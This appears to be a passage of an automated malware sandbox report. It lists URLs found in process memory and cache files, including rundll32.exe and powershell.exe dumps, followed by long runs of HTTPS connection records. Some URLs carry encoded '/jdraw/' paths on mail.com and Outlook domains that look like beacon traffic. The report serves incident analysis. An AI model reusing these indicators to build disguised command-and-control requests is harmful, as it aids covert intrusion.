Source: url-polyfill[1].js.19.dr	String found in binary or memory: https://github.com/arv/DOM-URL-Polyfill/blob/master/src/url.js
Source: bundle.min[1].js.19.dr	String found in binary or memory: https://github.com/getsentry/sentry-javascript
Source: permission-client[1].js.19.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: picturefill.min[2].js.21.dr	String found in binary or memory: https://github.com/scottjehl/picturefill/blob/master/Authors.txt;
Source: auction[1].htm.6.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: core[1].htm.19.dr	String found in binary or memory: https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/polyfills.min.js
Source: core[1].htm.19.dr	String found in binary or memory: https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/tracklib.min.js
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1625574581&rver=7.0.6730.0&am
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://login.live.com/logout.srf?ct=1625574582&rver=7.0.6730.0&lc=1033&id=1184&lru=
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://login.live.com/me.srf?wa=wsignin1.0&rpsnv=13&ct=1625574581&rver=7.0.6730.0&w
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://login.skype.com/login/oauth/microsoft?client_id=738133
Source: 6QglyA[1].htm.19.dr	String found in binary or memory: https://mail.com/jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIzWD
Source: powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://office.live.com/start/Excel.aspx?WT.mc_id=MSN_site;Sway
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://office.live.com/start/PowerPoint.aspx?WT.mc_id=MSN_site
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://office.live.com/start/Word.aspx?WT.mc_id=MSN_site;Excel
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com/#qt=mru
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com/?qt=allmyphotos;Aktuelle
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com/?qt=mru;Aktuelle
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com/?qt=mru;OneDrive-App
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://onedrive.live.com/?wt.mc_id=oo_msn_msnhomepage_header
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com/about/en/download/
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com;Fotos
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com;OneDrive-App
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://onedrive.live.com?wt.mc_id=oo_msn_msnhomepage_header
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://outlook.com/
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://outlook.live.com/calendar
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://outlook.live.com/mail/deeplink/compose;Kalender
Source: {61C46D29-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: https://outlook.office365.com/jdraw/AsyRg_2BVSdI/XmsSORBsoAL/M5uOi2ty5xn2OE/ER18j8gGrXEoZA_2FCM38/1O
Source: {61C46D27-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: https://outlook.office365.com/jdraw/YV9_2BRIFh2A/q7dpbh5Wtee/h9DRSfahzOVkbw/8nj9JvAX9J0uIFu5B3_2B/oU
Source: {7E89C2AE-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: https://outlook.office365.com/jdraw/vqfQiI7wHQRYBipo/2YRO_2BiyLl_2Fp/6B0k0PRCnXIV6OmEu7/x1gwiJ0go/pe
Source: ~DF5F04A478F43FE59C.TMP.4.dr, {61C46D25-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: https://outlook.office365.com/jdraw/yH91aKnpTrUgeTTXk_2FC/UNtUKwQdb1VcS_2B/GaoM_2Fyx_2BE1f/CKkjJtxju
Source: gtm[1].js.20.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://play.google.com/intl/en_us/badges/images/generic/de_badge_web_generic.png"
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://play.google.com/store/apps/details?id=com.microsoft.amp.apps.bingnews&hl=de-ch&refer
Source: potec.core.min[2].js.20.dr	String found in binary or memory: https://popup.taboola.com/
Source: ~DF745D33E3B1706BEF.TMP.4.dr	String found in binary or memory: https://res-a.akamaihd.net/__media__/pics/8000/72/941/fallback1.jpg
Source: rundll32.exe, 00000003.00000003.417150928.000000000516A000.00000004.00000040.sdmp, rundll32.exe, 00000005.00000002.493465480.000000000296A000.00000004.00000020.sdmp, rundll32.exe, 00000005.00000003.460407663.0000000004B2B000.00000004.00000040.sdmp	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/consent/consent-management.js
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/consent/mailcom/spinner.gif
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/consent/mailcom/styles.css
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/consent/main.js
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/favicon.ico
Source: imagestore.dat.19.dr, imagestore.dat.4.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/favicon.ico~
Source: rundll32.exe, 00000003.00000003.417150928.000000000516A000.00000004.00000040.sdmp, rundll32.exe, 00000005.00000002.493465480.000000000296A000.00000004.00000020.sdmp, rundll32.exe, 00000005.00000003.460407663.0000000004B2B000.00000004.00000040.sdmp	String found in binary or memory: https://s.uicdn.com/mailint/9.1722.0/assets/potec.core.min.js
Source: core[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/shared/sentry/5.5.0/bundle.min.js
Source: core[1].htm.19.dr	String found in binary or memory: https://s.uicdn.com/tcf/live/v1/js/tcf-api.js
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://sp.booking.com/index.html?aid=1589774&label=dech-prime-hp-me
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://sp.booking.com/index.html?aid=1589774&label=dech-prime-hp-shoppingstripe-nav
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://sp.booking.com/index.html?aid=1589774&label=travelnavlink
Source: imagestore.dat.4.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-neu/sc/c6/519670.jpg
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AALPDkd.img?h=368&
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB12jAN6.img?h=27&
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1aXITZ.img?h=27&
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cEP3G.img?h=27&
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cG73h.img?h=27&
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://support.skype.com
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://twitter.com/
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://twitter.com/i/notifications;Ich
Source: url-polyfill[1].js.19.dr	String found in binary or memory: https://url.spec.whatwg.org/#urlencoded-serializing
Source: main[1].js.19.dr	String found in binary or memory: https://wa.mail.com/1and1/mailcom/s?_c=0&name=
Source: rundll32.exe, 00000003.00000003.417150928.000000000516A000.00000004.00000040.sdmp, rundll32.exe, 00000005.00000002.493465480.000000000296A000.00000004.00000020.sdmp, rundll32.exe, 00000005.00000003.460407663.0000000004B2B000.00000004.00000040.sdmp	String found in binary or memory: https://wa.ui-portal.de/opt-out-transfer/mailcom/
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://web.vortex.data.msn.com/collect/v1/t.gif?name=%27Ms.Webi.PageView%27&ver=%272.1%27&a
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.awin1.com/cread.php?awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-infopa
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.awin1.com/cread.php?awinmid=15168&awinaffid=696593&clickref=de-ch-edge-dhp-river
Source: iab2Data[1].json.6.dr	String found in binary or memory: https://www.bidstack.com/privacy-policy/
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.ebay.ch/?mkcid=1&mkrid=5222-53480-19255-0&siteid=193&campid=5338626668&t
Source: optimize[1].js.20.dr	String found in binary or memory: https://www.google-analytics.com/gtm/optimize-dyn.js?id=OPT-KKZDDV4
Source: gtm[1].js.20.dr	String found in binary or memory: https://www.google.com
Source: gtm[1].js.20.dr	String found in binary or memory: https://www.google.com/pagead/conversion_async.js
Source: gtm[1].js.20.dr, optimize[1].js.20.dr	String found in binary or memory: https://www.googletagmanager.com/a?id=
Source: gtm[1].js.20.dr, optimize[1].js.20.dr	String found in binary or memory: https://www.googletagmanager.com/debug/bootstrap
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://www.mail.com/
Source: {70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: https://www.mail.com/cdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1Rq
Source: ~DFFEBFC8E2AAC9D5AE.TMP.4.dr	String found in binary or memory: https://www.mail.com/consentpage
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://www.mail.com/consentpage/event/error
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://www.mail.com/consentpage/event/visit
Source: {70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr, ~DFFEBFC8E2AAC9D5AE.TMP.4.dr	String found in binary or memory: https://www.mail.com/consentpagedTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIz
Source: {70188A25-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr, oo[1].htm.21.dr	String found in binary or memory: https://www.mail.com/jdraw/9tkEtPTF5MzOOTf_2FG/_2BMvSXij6Fsy_2BER4N9C/SpLKSbyOlvF_2/BLMV4YMk/qYA4T6z
Source: {70188A21-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr, 6QglyA[1].htm0.19.dr, ~DFFEBFC8E2AAC9D5AE.TMP.4.dr	String found in binary or memory: https://www.mail.com/jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1Rq
Source: {70188A23-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: https://www.mail.com/jdraw/WnmF6eBzbS4v4TjN/7UGwCeEGSR1XiD4/8mGx_2FhBXyZeffjUR/XcFqU9lGL/EaceGHrOi2o
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/
Source: ~DF745D33E3B1706BEF.TMP.4.dr	String found in binary or memory: https://www.msn.com/de-ch/?ocid=iehp
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/?ocid=iehp&item=deferred_page%3a1&ignorejs=webcore%2fmodules%2fjsb
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/coronareisen
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/regional
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/schweiz/transparenz-streit-bundesgericht-weist-beschwerde-des-
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/corona-demonstrantin-wegen-%c3%bcbertretung-mit-80
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/ging-im-z%c3%bcrcher-nachtleben-ein-serienvergewal
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/ich-hoffe-dass-wir-den-anarchischen-geist-verteidi
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/das-gequake-ist-untragbar-fr%c3%b6sche-rauben-nachbarn-den-schl
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/kaum-verlangsamung-winterthur-plant-tempo-30-auf-fast-allen-str
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/man-kann-ja-gleich-das-fahrzeug-schieben/ar-AALPtdx?ocid=hploca
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/so-sieht-die-neue-z%c3%bcrcher-promenade-am-see-aus/ar-AALPcHN?
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/stadtrat-will-fl%c3%a4chendeckend-tempo-30/ar-AALP5m6?ocid=hplo
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/vbz-kaufen-15-elektrobusse-%c3%bcber-100-weitere-sollen-folgen/
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com/de-ch/sport?ocid=StripeOCID
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.msn.com?form=MY01O4&OCID=MY01O4
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_QuickNote&auth=1
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.ricardo.ch/?utm_source=msn&utm_medium=affiliate&utm_campaign=msn_mestripe_logo_d
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.ricardo.ch/?utm_source=msn&utm_medium=affiliate&utm_campaign=msn_shop_de&utm
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.skype.com/
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.skype.com/de
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.skype.com/de/download-skype
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.skype.com/go/onedrivepromo.download?cm_mmc=MSFT_2390_MSN-com
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.skyscanner.net/flights?associateid=API_B2B_19305_00001&vertical=custom&pageType=
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://www.skyscanner.net/g/referrals/v1/cars/home?associateid=API_B2B_19305_00002
Source: iab2Data[1].json.6.dr	String found in binary or memory: https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json
Source: iab2Data[1].json.6.dr	String found in binary or memory: https://www.stroeer.de/konvergenz-konzepte/daten-technologien/stroeer-ssp/datenschutz-ssp.html
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://www.sway.com/?WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topnav&utm_campaign=link;PowerPoin
Source: potec.core.min[2].js.20.dr	String found in binary or memory: https://www.youtube.com/embed/SrLZgP-OR6s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49797 version: TLS 1.2
